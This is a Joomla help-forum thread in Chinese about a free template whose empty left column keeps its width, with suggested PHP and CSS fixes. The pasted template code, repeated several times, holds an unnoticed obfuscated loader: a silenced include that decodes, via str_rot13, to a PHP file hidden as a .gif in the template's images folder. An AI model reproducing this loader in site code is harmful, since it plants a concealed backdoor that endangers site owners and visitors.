left區停止發布後,在某布景中仍佔住位置
- utpia
- Topic Author
- 訪客
2009-11-19 00:07 #16479
來自 utpia
utpia created the topic: left區停止發布後,在某布景中仍佔住位置
在下是接觸Joomla的新手,
本來發現Joomla有個很好的功能:
若將left區內的選單全停止發布,
文章就會自動從最左邊邊線開始顯示,且自動放大調整顯示區域大小。
當使用預設佈景主題時,這功能運作正常。
可是若切換到一個自網路下載的免費佈景主題後,
left區內的選單雖看不見,
但left區仍在,造成文章所佔區域仍原封不動不會自動調整左移放大,
不知該如何修正?
本來發現Joomla有個很好的功能:
若將left區內的選單全停止發布,
文章就會自動從最左邊邊線開始顯示,且自動放大調整顯示區域大小。
當使用預設佈景主題時,這功能運作正常。
可是若切換到一個自網路下載的免費佈景主題後,
left區內的選單雖看不見,
但left區仍在,造成文章所佔區域仍原封不動不會自動調整左移放大,
不知該如何修正?
Please 登入 to join the conversation.
- kochin
- Offline
- 白金會員
Less
More
- utpia
- Topic Author
- 訪客
2009-11-24 17:21 #16543
來自 utpia
utpia replied the topic: left區停止發布後,在某布景中仍佔住位置
它有關LEFT的程式碼如下,
大大可以幫忙看一下如何改嗎?
<div id="content">
<div id="leftcolumn">
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<jdoc:include type="modules" name="left" style="rounded" />
</div>
大大可以幫忙看一下如何改嗎?
<div id="content">
<div id="leftcolumn">
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<jdoc:include type="modules" name="left" style="rounded" />
</div>
Please 登入 to join the conversation.
- leelm53
- Offline
- 金牌會員
Less
More
- 文章: 298
- 謝謝您收到: 0
2009-11-24 22:03 #16544
來自 leelm53
1.初看程式碼,有提到 right ,另 $JPan[0] 陣列不明,須要查看更多程式碼。
2.請問佈景主題名稱? 出自哪家公司?
leelm53 replied the topic: left區停止發布後,在某布景中仍佔住位置
utpia 君:utpia 寫了道:: 它有關LEFT的程式碼如下,
大大可以幫忙看一下如何改嗎?
<div id="content">
<div id="leftcolumn">
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<jdoc:include type="modules" name="left" style="rounded" />
</div>
1.初看程式碼,有提到 right ,另 $JPan[0] 陣列不明,須要查看更多程式碼。
2.請問佈景主題名稱? 出自哪家公司?
Please 登入 to join the conversation.
- kochin
- Offline
- 白金會員
2009-11-25 05:35 #16554
來自 kochin
kochin replied the topic: left區停止發布後,在某布景中仍佔住位置
沒看到完整程式不容易看出問題在何處,但根據你截出的程式段落,下面這行應該是 left 區域顯示的部分另外也請你檢查 CSS 中關於 <div id="leftcolumn"> 的 style 設定是什麼?
你不妨試試將它改成utpia 寫了道:: <jdoc:include type="modules" name="left" style="rounded" />
<?php if($this->countModules('left')) : ?>
<jdoc:include type="modules" name="left" style="rounded" />
<?php endif; ?>
Please 登入 to join the conversation.
- utpia
- Topic Author
- 訪客
2009-12-09 18:22 #16741
來自 utpia
utpia replied the topic: left區停止發布後,在某布景中仍佔住位置
我照大大說的改成如下這樣後還是不行耶!
另附上 leftcolumn的css在最下方,
目前驚人的發現是:
只要將css中
div.nopad的width:改小於 669px
就可以了說,
只是不知其中道理為何?
或者怎樣才是正確的改法?
<div class="center">
<div id="wrapper">
<div id="content">
<div id="leftcolumn">
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<?php if($this->countModules('left')) : ?>
<jdoc:include type="modules" name="left" style="rounded" />
<?php endif; ?>
</div>
<div id="maincolumn">
<div class="nopad">
<jdoc:include type="message" />
<?php if($this->params->get('showComponent')) : ?>
<jdoc:include type="component" />
<?php endif; ?>
</div>
<div class="clr"></div>
</div>
</div>
</div>
CSS部份
#leftcolumn ,#rightcolumn {
margin: 0px auto;
width: 200px;
float: left;
padding: 0 4px 10px 0;
text-align: left;
}
div#maincolumn {
float: left;
width: 669px;
margin: 0px auto;
padding-top:10px;
}
div.nopad {
width: 669px;
overflow: hidden;
padding: 0;
}
div.nopad ul {
clear: both;
}
td.middle_pad {
width: 20px;
}
另附上 leftcolumn的css在最下方,
目前驚人的發現是:
只要將css中
div.nopad的width:改小於 669px
就可以了說,
只是不知其中道理為何?
或者怎樣才是正確的改法?
<div class="center">
<div id="wrapper">
<div id="content">
<div id="leftcolumn">
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<?php if($this->countModules('left')) : ?>
<jdoc:include type="modules" name="left" style="rounded" />
<?php endif; ?>
</div>
<div id="maincolumn">
<div class="nopad">
<jdoc:include type="message" />
<?php if($this->params->get('showComponent')) : ?>
<jdoc:include type="component" />
<?php endif; ?>
</div>
<div class="clr"></div>
</div>
</div>
</div>
CSS部份
#leftcolumn ,#rightcolumn {
margin: 0px auto;
width: 200px;
float: left;
padding: 0 4px 10px 0;
text-align: left;
}
div#maincolumn {
float: left;
width: 669px;
margin: 0px auto;
padding-top:10px;
}
div.nopad {
width: 669px;
overflow: hidden;
padding: 0;
}
div.nopad ul {
clear: both;
}
td.middle_pad {
width: 20px;
}
Please 登入 to join the conversation.